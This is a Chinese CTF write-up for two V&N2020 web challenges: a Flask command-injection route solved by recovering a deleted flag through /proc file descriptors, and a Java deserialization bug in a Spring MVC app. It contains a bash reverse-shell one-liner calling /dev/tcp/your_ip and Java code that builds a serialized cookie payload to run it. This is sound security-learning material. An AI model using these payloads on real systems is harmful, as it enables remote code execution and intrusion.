[V&N2020 公开赛]

Web

CHECKIN

启动!

还原代码

from flask import Flask, request 
import os 
app = Flask(__name__) 
flag_file = open("flag.txt", "r") 
# flag = flag_file.read() 
# flag_file.close() 
# # @app.route('/flag') 
# def flag(): # return flag 
## want flag? naive! 
# You will never find the thing you want:) I think 

@app.route('/shell')
def shell(): 
    os.system("rm -f flag.txt") 
    exec_cmd = request.args.get('c') 
    os.system(exec_cmd) 
    return "1" 

@app.route('/') 
def source(): return open("app.py","r").read() 
if __name__ == "__main__": app.run(host='0.0.0.0') 

有两个路由,/shell路由执行删除flag.txt,并且执行url中的c参数,但return 1,没有回显结果。实践一下

 RCE这条路被封死了一半,再看看全文,发现代码中flag_file = open("flag.txt", "r"),这里有一个考点。

在 linux 系统中一个程序打开了一个文件没有关闭,即便从外部删除(rm只是删除了其相应的目录索引节点,没有删除进程),在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,而fd里有文件的内容,通过这个我们即可得到被删除文件的内容。

那怎么获得这个fd呢?

只能靠遍历获得

先去自己虚拟机看看/proc这个目录

可以看到有大量的编号

随便进入一个编号继续查看

所以这个路径的特点为 /proc/*/fd/*

因为代码中的命令执行没有回显结果,我们就只能尝试反弹shell,因为本次题目的buuctf靶机不访问外网,所以我们创另外一个小号去打开linux labs靶机,ssh登录,执行监听,就能收到

ssh连接

查看ip 

结果我弹了几次shell没什么反应,又去看了看labs的靶机

行吧,试试弹自己的vps 

 成功了

cat /proc/*/fd/* 2>/dev/null

直接获得flag

EasySpringMVC

先下载附件打开

一看就是要让我们java代码审计,不会java啊?硬学!

此题代码不多,就三个主要代码,就当做入门java审计的第一题了

首先是ClentInfoFilter

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.filters;

import com.tools.ClientInfo;
import com.tools.Tools;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ClentInfoFilter implements Filter {
    public ClentInfoFilter() {
    }

    public void init(FilterConfig fcg) {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        Cookie[] cookies = ((HttpServletRequest)request).getCookies();
        boolean exist = false;
        Cookie cookie = null;
        if (cookies != null) {
            Cookie[] var7 = cookies;
            int var8 = cookies.length;

            for(int var9 = 0; var9 < var8; ++var9) {
                Cookie c = var7[var9];
                if (c.getName().equals("cinfo")) {
                    exist = true;
                    cookie = c;
                    break;
                }
            }
        }

        byte[] bytes;
        if (exist) {
            String b64 = cookie.getValue();
            Base64.Decoder decoder = Base64.getDecoder();
            bytes = decoder.decode(b64);
            ClientInfo cinfo = null;
            if (!b64.equals("") && bytes != null) {
                try {
                    cinfo = (ClientInfo)Tools.parse(bytes);
                } catch (Exception var14) {
                    var14.printStackTrace();
                }
            } else {
                cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
                Base64.Encoder encoder = Base64.getEncoder();

                try {
                    bytes = Tools.create(cinfo);
                } catch (Exception var15) {
                    Exception e = var15;
                    e.printStackTrace();
                }

                cookie.setValue(encoder.encodeToString(bytes));
            }

            ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
        } else {
            Base64.Encoder encoder = Base64.getEncoder();

            try {
                ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
                bytes = Tools.create(cinfo);
                cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
                cookie.setMaxAge(86400);
                ((HttpServletResponse)response).addCookie(cookie);
                ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
            } catch (Exception var13) {
                var13.printStackTrace();
            }
        }

        chain.doFilter(request, response);
    }

    public void destroy() {
    }
}

先看第一个核心代码点

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        Cookie[] cookies = ((HttpServletRequest)request).getCookies();
        //定义且初始化一个类型为Cookie的数组,并赋值给变量cookies
        boolean exist = false;
        Cookie cookie = null; //定义一个类型为Cookie的变量cookie,并初始化为null
        if (cookies != null) {
            Cookie[] var7 = cookies; //定义了一个Cookie类型的变量为var7,且赋值为变量cookies。联系上下文,就是定义了一个临时变量,用于存储 cookies 数组的引用。
            int var8 = cookies.length;

            for(int var9 = 0; var9 < var8; ++var9) { //循环数组
                Cookie c = var7[var9];  //变量c存储每次遍历的值
                if (c.getName().equals("cinfo")) { //equals 是 String 类中的一个方法,用于比较两个字符串的内容是否相等。这里就是看cookie的name是否等于cinfo
                    exist = true;
                    cookie = c; //等于cinfo,就赋值为给cookie
                    break;
                }
            }
        }

这段代码就是在获取cookie,并且看cookie的name是否为cinfo 

这里刚开始看的时候,cookies和cookie都看岔了,看得我极其混乱,还以为在初始化cookies的值,云里雾里。

下一个核心代码

        byte[] bytes;
        if (exist) {
            String b64 = cookie.getValue();
            Base64.Decoder decoder = Base64.getDecoder();
            bytes = decoder.decode(b64);
            ClientInfo cinfo = null;
            if (!b64.equals("") && bytes != null) {
                try {
                    cinfo = (ClientInfo)Tools.parse(bytes);
                } catch (Exception var14) {
                    var14.printStackTrace();
                }
            } else {
                cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
                Base64.Encoder encoder = Base64.getEncoder();

                try {
                    bytes = Tools.create(cinfo);
                } catch (Exception var15) {
                    Exception e = var15;
                    e.printStackTrace();
                }

                cookie.setValue(encoder.encodeToString(bytes));
            }

            ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
        } else {
            Base64.Encoder encoder = Base64.getEncoder();

            try {
                ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
                bytes = Tools.create(cinfo);
                cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
                cookie.setMaxAge(86400);
                ((HttpServletResponse)response).addCookie(cookie);
                ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
            } catch (Exception var13) {
                var13.printStackTrace();
            }
        }

存在'cinfo'Cookie的情况:进行base64解密,再进行调用Tools的parse方法

不存在'cinfo'Cookie的情况:创建一个新的ClientInfo对象,并将其序列化为字节数组,然后创建一个新的Cookie并添加到响应中

接下来简单看了一下ClientInfo类的代码

package com.tools;

import java.io.Serializable;

public class ClientInfo implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String group;
    private String id;

    public ClientInfo(String name, String group, String id) {
        this.name = name;
        this.group = group;
        this.id = id;
    }

    public String getName() {
        return this.name;
    }

    public String getGroup() {
        return this.group;
    }

    public String getId() {
        return this.id;
    }
}

就目前来看的这部分代码,就是在设置cookie的一系列身份 组别等。

看看Tools的代码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;
    private String testCall;

    public Tools() {
    }

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }

    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])((String[])obj))).start();
    }
}

 可以看到 parse方法在反序列化,create方法在序列化,还自定义了readObject方法。

着重分析一下这个readObject方法

(new ProcessBuilder((String[])((String[])obj))).start();
(String[])((String[])obj))

这是一个嵌套的类型转换,先把obj强行转换为string,又进行了一次string转换

new ProcessBuilder

ProcessBuilder是一个Java类,用于创建操作系统进程。也就是说把obj转换为string类型,就直接作为参数,来执行命令等操作。

这里造成了一个java反序列化漏洞,可以控制反序列化的数据,通过发送特定的String数组来执行任意系统命令。

再看看PictureController

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.controller;

import com.tools.ClientInfo;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.commons.CommonsMultipartFile;

@Controller
public class PictureController {
    public PictureController() {
    }

    @RequestMapping({"/showpic.form"})
    public String index(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String file) throws Exception {
        if (file == null) {
            file = "showpic.jsp";
        }

        String[] attribute = file.split("\\.");
        String suffix = attribute[attribute.length - 1];
        if (!suffix.equals("jsp")) {
            boolean isadmin = ((ClientInfo)httpServletRequest.getSession().getAttribute("cinfo")).getName().equals("admin");
            if (isadmin || suffix.equals("jpg") && suffix.equals("gif")) {
                this.show(httpServletRequest, httpServletResponse, file);
                return "showpic";
            } else {
                return "onlypic";
            }
        } else {
            StringBuilder stringBuilder = new StringBuilder();

            int unixSep;
            for(unixSep = 0; unixSep < attribute.length - 1; ++unixSep) {
                stringBuilder.append(attribute[unixSep]);
            }

            String jspFile = stringBuilder.toString();
            unixSep = jspFile.lastIndexOf(47);
            int winSep = jspFile.lastIndexOf(92);
            int pos = winSep > unixSep ? winSep : unixSep;
            jspFile = pos != -1 ? jspFile.substring(pos + 1) : jspFile;
            if (jspFile.equals("")) {
                jspFile = "showpic";
            }

            return jspFile;
        }
    }

    private void show(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String filename) throws Exception {
        httpServletResponse.setContentType("image/jpeg");
        InputStream in = httpServletRequest.getServletContext().getResourceAsStream("/WEB-INF/resource/" + filename);
        if (in == null) {
            in = new FileInputStream(filename);
        }

        OutputStream os = httpServletResponse.getOutputStream();
        byte[] b = new byte[1024];

        while(((InputStream)in).read(b) != -1) {
            os.write(b);
        }

        ((InputStream)in).close();
        os.flush();
        os.close();
    }

    @RequestMapping({"/uploadpic.form"})
    public String upload(MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws Exception {
        ClientInfo cinfo = (ClientInfo)request.getSession().getAttribute("cinfo");
        if (!cinfo.getGroup().equals("webmanager")) {
            return "notaccess";
        } else if (file == null) {
            return "uploadpic";
        } else {
            String originalFilename = ((DiskFileItem)((CommonsMultipartFile)file).getFileItem()).getName();
            String realPath = request.getSession().getServletContext().getRealPath("/WEB-INF/resource/");
            String path = realPath + originalFilename;
            file.transferTo(new File(path));
            request.getSession().setAttribute("newpicfile", path);
            return "uploadpic";
        }
    }
}

这段代码就不讲的仔细了,该类有三个功能,1.展示图片 2.展示图片的一些设置,把相应类型变为image/jpeg等一些操作 3.上传图片

但仔细观察代码,可以发现展示图片要为admin才能查看,上传图片要组别为webmanager才能上传。

审计代码到目前,发现有两个攻击面,一是直接命令执行,二是通过上传图片这里,说不定能实现目录穿越。

那肯定选命令执行。

重写Tools的writeObject

private void writeObject(ObjectOutputStream out) throws IOException {
//       
        out.writeObject((new String[]{"bash","-c","bash -i >& /dev/tcp/your_ip/1234 0>&1"}));
    }

把重写完的代码粘贴去新的一个java项目,再创建一个App.java

import java.util.Base64;


public class App {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
        try {
            Tools cinfo = new Tools();
            byte[] bytes = Tools.create(cinfo);
            String payload = encoder.encodeToString(bytes);
            System.out.println(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

这个代码实现创建Tools对象并且序列化,再base64加密结果

修改cookies,再刷新页面

 结果一直弹不了,换了两台服务器都弹不了。最后怀疑是不是没出网,又开了一个弹内网的,结果后面直接靶场崩了,靶机还销毁不了了。。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值